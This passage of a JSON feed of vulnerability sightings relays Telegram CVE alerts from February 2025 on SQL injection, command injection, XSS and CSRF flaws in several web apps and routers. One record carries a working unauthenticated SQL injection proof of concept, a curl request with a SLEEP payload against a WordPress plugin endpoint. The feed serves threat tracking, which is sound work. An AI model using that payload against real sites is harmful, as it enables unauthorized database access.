/AGE0000700/GetImageMedico?fooId=1. The manipulation of the argument fooId leads to improper control of resource identifiers. The attack can be initiated remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T04:49:59.000000Z"}, {"uuid": "12d3385a-a4e8-4154-8b28-4d971a9712ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1644", "type": "seen", "source": "https://t.me/cvedetector/18850", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1644 - Benner ModernaNet Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1644 \nPublished : Feb. 25, 2025, 2:15 a.m. | 1\u00a0hour, 2\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in Benner ModernaNet up to 1.2.0. Affected is an unknown function of the file /DadosPessoais/SG_Gravar. The manipulation of the argument idItAg leads to cross-site request forgery. It is possible to launch the attack remotely. Upgrading to version 1.2.1 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T04:49:59.000000Z"}, {"uuid": "8e2d86b3-8cc5-4dac-a1ad-2bf340a91238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1645", "type": "seen", "source": "https://t.me/cvedetector/18849", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1645 - Benner Connecta Resource Identifier Improper Control Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1645 \nPublished : Feb. 25, 2025, 2:15 a.m. | 1\u00a0hour, 2\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Benner Connecta 1.0.5330. Affected by this vulnerability is an unknown functionality of the file /Usuarios/Usuario/EditarLogado/. The manipulation of the argument Handle leads to improper control of resource identifiers. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T04:49:58.000000Z"}, {"uuid": "a83beb9f-1409-4615-a239-4ed16b44379a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1640", "type": "seen", "source": "https://t.me/cvedetector/18839", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1640 - Benner ModernaNet SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1640 \nPublished : Feb. 25, 2025, 12:15 a.m. | 54\u00a0minutes ago \nDescription : A vulnerability was found in Benner ModernaNet up to 1.1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /Home/JS_CarregaCombo?formName=DADOS_PESSOAIS_PLANO&additionalCondition=&insideParameters=&elementToReturn=DADOS_PESSOAIS_PLANO&ordenarPelaDescricao=true&direcaoOrdenacao=asc&_=1739290047295. The manipulation leads to sql injection. The attack may be launched remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T02:19:25.000000Z"}, {"uuid": "7c33501a-8796-4f59-b82d-fb8ed8b092a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1641", "type": "seen", "source": "https://t.me/cvedetector/18838", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1641 - Benner ModernaNet SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1641 \nPublished : Feb. 25, 2025, 12:15 a.m. | 54\u00a0minutes ago \nDescription : A vulnerability was found in Benner ModernaNet up to 1.1.0. It has been classified as critical. This affects an unknown part of the file /AGE0000700/GetHorariosDoDia?idespec=0&idproced=1103&data=2025-02-25+19%3A25&agserv=0&convenio=1&localatend=1&idplano=5&pesfis=01&idprofissional=0&target=.horarios--dia--d0&_=1739371223797. The manipulation leads to sql injection. It is possible to initiate the attack remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T02:19:24.000000Z"}, {"uuid": "e5a54f96-c7d6-438b-a925-f58e711b14c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1667", "type": "seen", "source": "Telegram/cGa8yDyNVwYsWwQDKbAEW9iF4JktgxdPCEl6-1qKx7qpCzI", "content": "", "creation_timestamp": "2026-04-08T23:29:45.000000Z"}, {"uuid": "c8f2b48b-635a-472c-b4b0-78fd2a157947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1648", "type": "published-proof-of-concept", "source": "https://t.me/liwaamohammad/5090", "content": "CVE-2025-1648\n\n- sql injection\n- role: unauthenticated\n\n\ntime curl -v \"http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=js_liveblog_update&lbid=11+AND+(SELECT+9496+FROM+(SELECT(SLEEP(5)))NxyR)\"\n\n#poc #exploit", "creation_timestamp": "2026-03-19T04:02:49.000000Z"}, {"uuid": "e08d748e-3748-4ee8-99cd-6a2b3d5bbd33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "published-proof-of-concept", "source": "https://t.me/cvexploit/31", "content": "Attackers with Subscriber-level access can abuse this flaw to modify their own privileges, such as updating their user role to \u201cadministrator.\u201d The vulnerability stems from inadequate capability checks and nonce validation, allowing low-privileged users to escalate permissions by crafting malicious requests to the vulnerable endpoint.", "creation_timestamp": "2025-03-28T23:42:10.000000Z"}, {"uuid": "544dae06-f264-4f6c-9c7f-e757c436a93e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1672", "type": "seen", "source": "Telegram/d01Gmx4N4izNym30JBwuUR_KGzZhLa420itZTMSDWiBEhqlS", "content": "", "creation_timestamp": "2025-03-08T04:34:09.000000Z"}, {"uuid": "f7ebc8ea-3b75-4641-9a4b-34674433555b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1646", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5243", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1646\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in Lumsoft ERP 8. Affected by this issue is some unknown functionality of the file /Api/TinyMce/UploadAjaxAPI.ashx of the component ASPX File Handler. The manipulation of the argument file leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-25T02:31:04.429Z\n\ud83d\udccf Modified: 2025-02-25T02:31:04.429Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296696\n2. https://vuldb.com/?ctiid.296696\n3. https://vuldb.com/?submit.500501\n4. https://github.com/Rain1er/report/blob/main/Lserp/fileUpload_3.md", "creation_timestamp": "2025-02-25T03:25:56.000000Z"}, {"uuid": "56ebc5b7-2938-4bfb-841f-8e7cc86cea77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/109", "content": "", "creation_timestamp": "2025-10-09T18:53:51.000000Z"}, {"uuid": "ba76116d-2ebb-4d03-9508-36501ca54e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1644", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5242", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1644\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in Benner ModernaNet up to 1.2.0. Affected is an unknown function of the file /DadosPessoais/SG_Gravar. The manipulation of the argument idItAg leads to cross-site request forgery. It is possible to launch the attack remotely. Upgrading to version 1.2.1 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2025-02-25T01:31:04.262Z\n\ud83d\udccf Modified: 2025-02-25T01:31:04.262Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296694\n2. https://vuldb.com/?ctiid.296694\n3. https://vuldb.com/?submit.500575\n4. https://github.com/yago3008/cves", "creation_timestamp": "2025-02-25T02:22:58.000000Z"}, {"uuid": "ec61e4be-1876-41c2-9f4c-919f82916239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1613", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5121", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1613\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in FiberHome AN5506-01A ONU GPON RP2511. It has been rated as problematic. This issue affects some unknown processing of the file /goform/URL_filterCfg of the component URL Filtering Submenu. The manipulation of the argument url_IP leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T03:00:12.277Z\n\ud83d\udccf Modified: 2025-02-24T03:00:12.277Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296603\n2. https://vuldb.com/?ctiid.296603\n3. https://vuldb.com/?submit.501349", "creation_timestamp": "2025-02-24T03:25:20.000000Z"}, {"uuid": "4b505871-ea52-43c7-9170-beb21517b90f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1609", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5119", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1609\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability has been found in LB-LINK AC1900 Router 1.0.2 and classified as critical. Affected by this vulnerability is the function websGetVar of the file /goform/set_cmd. The manipulation of the argument cmd leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T01:00:10.512Z\n\ud83d\udccf Modified: 2025-02-24T01:00:10.512Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296599\n2. https://vuldb.com/?ctiid.296599\n3. https://vuldb.com/?submit.501023\n4. https://noisy-caravel-a9a.notion.site/LBLINK_AC1900_V1-0-2_-set_cmd-_-bs_SetCmd-_CI-179898c94eac808e8875e0b8e1bee47e?pvs=74", "creation_timestamp": "2025-02-24T02:21:37.000000Z"}, {"uuid": "3a3ab6c9-f9b7-48d9-9772-fd14aac1a923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1610", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5118", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1610\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in LB-LINK AC1900 Router 1.0.2 and classified as critical. Affected by this issue is the function websGetVar of the file /goform/set_blacklist. The manipulation of the argument mac/enable leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T01:31:04.610Z\n\ud83d\udccf Modified: 2025-02-24T01:31:04.610Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296600\n2. https://vuldb.com/?ctiid.296600\n3. https://vuldb.com/?submit.501024\n4. https://noisy-caravel-a9a.notion.site/LBLINK_AC1900_V1-0-2_-set_blacklist-_-bs_SetMacBlack-_CI-179898c94eac802b9451fcb79aa668c3?pvs=74", "creation_timestamp": "2025-02-24T02:21:32.000000Z"}, {"uuid": "9f104daf-542a-4305-a576-fb73028b3e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1673", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5254", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1673\n\ud83d\udd25 CVSS Score: 8.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)\n\ud83d\udd39 Description: A malicious or malformed DNS packet without a payload can cause an out-of-bounds read, resulting in a crash (denial of service) or an incorrect computation.\n\ud83d\udccf Published: 2025-02-25T07:12:13.455Z\n\ud83d\udccf Modified: 2025-02-25T07:12:13.455Z\n\ud83d\udd17 References:\n1. https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-jjhx-rrh4-j8mx", "creation_timestamp": "2025-02-25T07:22:33.000000Z"}, {"uuid": "11a86d4e-4721-4fdf-9e33-ad3d116f0f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1607", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5115", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1607\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, has been found in SourceCodester Best Employee Management System 1.0. This issue affects some unknown processing of the file /admin/salary_slip.php. The manipulation of the argument id leads to authorization bypass. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T00:31:05.135Z\n\ud83d\udccf Modified: 2025-02-24T00:31:05.135Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296597\n2. https://vuldb.com/?ctiid.296597\n3. https://vuldb.com/?submit.498432\n4. https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Best-employee-management-system-unauthorized-access.md\n5. https://www.sourcecodester.com/", "creation_timestamp": "2025-02-24T01:21:37.000000Z"}, {"uuid": "27676ab6-c704-4d1a-a4a9-720cafbe6eb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1608", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5114", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1608\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in LB-LINK AC1900 Router 1.0.2. Affected is the function websGetVar of the file /goform/set_manpwd. The manipulation of the argument routepwd\u00a0 leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T00:31:07.007Z\n\ud83d\udccf Modified: 2025-02-24T00:31:07.007Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296598\n2. https://vuldb.com/?ctiid.296598\n3. https://vuldb.com/?submit.501022\n4. https://noisy-caravel-a9a.notion.site/LBLINK_AC1900_V1-0-2_-set_manpwd-_-bl_do_system-_CI-179898c94eac81b9bf56c1f64db77e2d?pvs=74", "creation_timestamp": "2025-02-24T01:21:37.000000Z"}, {"uuid": "907aaa66-d979-4fde-8d21-090056e0b180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1629", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5126", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1629\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Excitel Broadband Private my Excitel App 3.13.0 on Android. It has been classified as problematic. Affected is an unknown function of the component One-Time Password Handler. The manipulation leads to improper restriction of excessive authentication attempts. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T05:00:11.687Z\n\ud83d\udccf Modified: 2025-02-24T05:00:11.687Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296610\n2. https://vuldb.com/?ctiid.296610\n3. https://vuldb.com/?submit.501868", "creation_timestamp": "2025-02-24T05:21:32.000000Z"}, {"uuid": "ebd603b3-2f73-43cb-86b4-c891920a7d8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1611", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5117", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1611\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in ShopXO up to 6.4.0. It has been classified as problematic. This affects an unknown part of the file app/service/ThemeAdminService.php of the component Template Handler. The manipulation leads to injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T02:00:11.502Z\n\ud83d\udccf Modified: 2025-02-24T02:00:11.502Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296601\n2. https://vuldb.com/?ctiid.296601\n3. https://vuldb.com/?submit.501211\n4. https://github.com/jmx0hxq/Vulnerability-learning/blob/main/shopxo-rce.md", "creation_timestamp": "2025-02-24T02:21:31.000000Z"}, {"uuid": "b7f15421-0e01-433b-9f1f-9e55e36b6128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1615", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5125", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1615\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic was found in FiberHome AN5506-01A ONU GPON RP2511. Affected by this vulnerability is an unknown functionality of the component NAT Submenu. The manipulation of the argument Description leads to cross site scripting. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T03:31:03.569Z\n\ud83d\udccf Modified: 2025-02-24T03:31:03.569Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296605\n2. https://vuldb.com/?ctiid.296605\n3. https://vuldb.com/?submit.501408", "creation_timestamp": "2025-02-24T04:21:46.000000Z"}, {"uuid": "70d61e2a-a09b-4b69-9e62-65c9d1e5522c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1616", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5124", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1616\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in FiberHome AN5506-01A ONU GPON RP2511. Affected by this issue is some unknown functionality of the component Diagnosis. The manipulation of the argument Destination Address leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T04:00:11.947Z\n\ud83d\udccf Modified: 2025-02-24T04:00:11.947Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296606\n2. https://vuldb.com/?ctiid.296606\n3. https://vuldb.com/?submit.501483", "creation_timestamp": "2025-02-24T04:21:45.000000Z"}, {"uuid": "5ec09d9a-3586-441a-bc84-4982d2fb93f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1606", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5111", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1606\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic was found in SourceCodester Best Employee Management System 1.0. This vulnerability affects unknown code of the file /admin/backup/backups.php. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T00:00:16.256Z\n\ud83d\udccf Modified: 2025-02-24T00:00:16.256Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296596\n2. https://vuldb.com/?ctiid.296596\n3. https://vuldb.com/?submit.498421\n4. https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Best-employee-management-system-information-leakage.md\n5. https://www.sourcecodester.com/", "creation_timestamp": "2025-02-24T00:21:34.000000Z"}, {"uuid": "d0ea89e3-454b-4f39-bed1-535e97787516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1617", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5123", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1617\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, was found in Netis WF2780 2.1.41925. This affects an unknown part of the component Wireless 2.4G Menu. The manipulation of the argument SSID leads to cross site scripting. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T04:00:13.873Z\n\ud83d\udccf Modified: 2025-02-24T04:00:13.873Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296607\n2. https://vuldb.com/?ctiid.296607\n3. https://vuldb.com/?submit.501472", "creation_timestamp": "2025-02-24T04:21:44.000000Z"}, {"uuid": "4777dec4-fe83-42eb-8cf7-9b8c39bc32b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1612", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5122", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1612\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Edimax BR-6288ACL 1.30. It has been declared as problematic. This vulnerability affects unknown code of the file wireless5g_basic.asp. The manipulation of the argument SSID leads to cross site scripting. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T02:31:03.813Z\n\ud83d\udccf Modified: 2025-02-24T02:31:03.813Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296602\n2. https://vuldb.com/?ctiid.296602\n3. https://vuldb.com/?submit.501309", "creation_timestamp": "2025-02-24T03:25:21.000000Z"}, {"uuid": "2cf552c4-301a-4e94-9372-740c2c32505e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1618", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5127", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1618\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability has been found in vTiger CRM 6.4.0 and classified as problematic. This vulnerability affects unknown code of the file /modules/Mobile/index.php. The manipulation of the argument _operation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T04:31:04.303Z\n\ud83d\udccf Modified: 2025-02-24T04:31:04.303Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296608\n2. https://vuldb.com/?ctiid.296608\n3. https://vuldb.com/?submit.501840\n4. https://www.vtiger.com/", "creation_timestamp": "2025-02-24T05:21:36.000000Z"}, {"uuid": "4c1e3385-0f95-4752-b2c5-18c18854deb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1696", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6667", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber 